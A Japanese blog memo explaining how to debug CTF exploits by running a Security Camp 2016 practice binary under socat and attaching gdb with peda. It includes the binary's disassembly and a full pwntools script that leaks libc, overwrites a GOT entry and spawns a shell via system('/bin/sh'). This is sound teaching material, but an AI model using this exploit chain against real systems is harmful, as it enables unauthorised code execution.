socat+gdb(+peda)でexploitのデバッグを行う方法
モチベーション
CTFとかでexploitを書く時にちゃんとペイロードが送れてるか、とか思い通りにリターンアドレスを書き換えられているか、とか確認したくなることってあるよね、という話。
セキュキャンでこの方法を聞いてなるほど、となったものの同じことを解説しているブログが見当たらなかったので自分用メモ
pedaはあってもなくてもいいけどexploitやるならまああったほうがいいよねという感じ
まさかり大歓迎です。もっといい方法があったらこっそり教えてください
攻撃するバイナリと攻撃コード
今回はセキュリティキャンプ2016の4-D"実行ファイルの防御機構を突破せよ"で使われたバイナリに攻撃することを想定して話を進める。
攻撃するバイナリは以下。脆弱性は0x080484eeのreadでバッファーオーバーフローがありという基本的な問題。
gdb-peda$ pdisas main Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x30 0x080484a6 <+9>: mov eax,ds:0x804a040 0x080484ab <+14>: mov DWORD PTR [esp+0xc],0x0 0x080484b3 <+22>: mov DWORD PTR [esp+0x8],0x2 0x080484bb <+30>: mov DWORD PTR [esp+0x4],0x0 0x080484c3 <+38>: mov DWORD PTR [esp],eax 0x080484c6 <+41>: call 0x8048390 <setvbuf@plt> 0x080484cb <+46>: mov DWORD PTR [esp],0x80485a0 0x080484d2 <+53>: call 0x8048360 <printf@plt> 0x080484d7 <+58>: mov DWORD PTR [esp+0x8],0x3e8 0x080484df <+66>: lea eax,[esp+0x10] 0x080484e3 <+70>: mov DWORD PTR [esp+0x4],eax 0x080484e7 <+74>: mov DWORD PTR [esp],0x0 0x080484ee <+81>: call 0x8048350 <read@plt> 0x080484f3 <+86>: lea eax,[esp+0x10] 0x080484f7 <+90>: mov DWORD PTR [esp+0x4],eax 0x080484fb <+94>: mov DWORD PTR [esp],0x80485b2 0x08048502 <+101>: call 0x8048360 <printf@plt> 0x08048507 <+106>: leave 0x08048508 <+107>: ret End of assembler dump. gdb-peda$
エクスプロイトコードは以下。printfのアドレスをリーク->readでGOTにsystemのアドレスと"/bin/sh"を書き込み->それを使ってsystem("/bin/sh")を呼ぶROPを流し込むというもの。
# -*- coding: utf-8 -*- from pwn import * import time context(arch = 'i386', os = 'linux') #conn = process("./problem1_1") #conn = remote("camp16.rex.gs", 10001) conn = remote("localhost", 4000) printf_libc_addr=0x4cdd0 payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A" printf_plt=p32(0x8048360) printf_GOT=p32(0x804a010) pop1ret=p32(0x0804856f) # pop ret pop3ret=p32(0x0804856d) #poppoppop ret read_plt=p32(0x8048350) print "po" #1 aa=raw_input() #leak printf addr payload+=printf_plt payload+=pop1ret payload+=printf_GOT #read(0,printf_got,20) payload+=read_plt payload+=pop3ret payload+=p32(0) payload+=printf_GOT payload+=p32(20) #system("/bin/sh") (printf_plt=system_addr) payload+=printf_plt payload+=b'PPPP' payload+=p32(u32(printf_GOT)+4) conn.send(payload) time.sleep(0.5) #print payload print "po2" #2 aa=raw_input() s= conn.recv(1024) ls=s.split("\n") print ls printf_addr=ls[1][0:4] print "printf_addr="+hex(u32(printf_addr)) libc_base=u32(printf_addr)-printf_libc_addr print "base="+hex(libc_base) system_addr=0x3fe70+libc_base #GOT write,binsh write conn.send(p32(system_addr)+b'/bin/sh\0') conn.interactive()
これをsocat+gdb(+peda)でデバッグすることを目指す。
方法
socatを使うのでない場合はaptとかで入れる。
ターミナルを3つ使うのでtmux とかでターミナル分割したらいいかもしれない(未検証)
以下では便宜的にターミナル1,ターミナル2,ターミナル3と表記する
上から順番に実行する。
ターミナル1(バイナリを起動して指定ポート番号(4000番)で待ち受け)
$ socat tcp-l:4000.reuseaddr exec:"./problem1_1"
ターミナル2(接続しないとバイナリが起動しない模様、接続だけさせてコメント"#1"のraw_input()で止める)
$ python exploit.py
ターミナル3(起動したバイナリのPIDを調べてgdbでアタッチ)
$ ps aux | grep problem ymduu 8851 0.0 0.0 19608 1328 pts/0 S+ 00:31 0:00 socat tcp-l:4000.reuseaddr exec:./problem1_1 ymduu 8878 0.0 0.0 2020 280 pts/0 S+ 00:31 0:00 ./problem1_1 ymduu 9015 0.0 0.0 12712 944 pts/2 S+ 00:32 0:00 grep --colour=auto problem
ps aux | grep (バイナリ名)するとsocatのプロセスも出てくるが、socatではないほうのプロセスを選ぶ。この場合8878。
ターミナル3
$ sudo gdb -q gdb-peda$ attach 8878 gdb-peda$ b *0x080484f3 Breakpoint 1 at 0x80484f3 gdb-peda$ c Continuing.
sudoで起動しないとプロセスにアタッチできない場合がある模様?
適当な場所(入力の後じゃないとブレークポイントがヒットしないことがある模様?)にブレークポイントを置いてcontinue
ターミナル2
ターミナル2のexploit.pyをraw_inputで止めているのでEnterキーを押して進める(raw_inputによる入力は使わない)
ターミナル3
gdb上でプログラムが進んでブレークポイントで止まっているはずなのであとは好きにデバッグすればOK
バイナリ側のprintf等の出力からexploitが値を受け取って進む場合(今回のexploit.pyのコメント部分#2)は、exploit.py側でraw_inputなどで止めておいて、出力して次の入力を受けるところまでターミナル3のバイナリの処理を進めてからexploit.pyの処理を進める、としないと当然exploit.pyは値を受け取れないので注意
これでexploitが想定通りにサーバーに送られているかチェックすることが可能。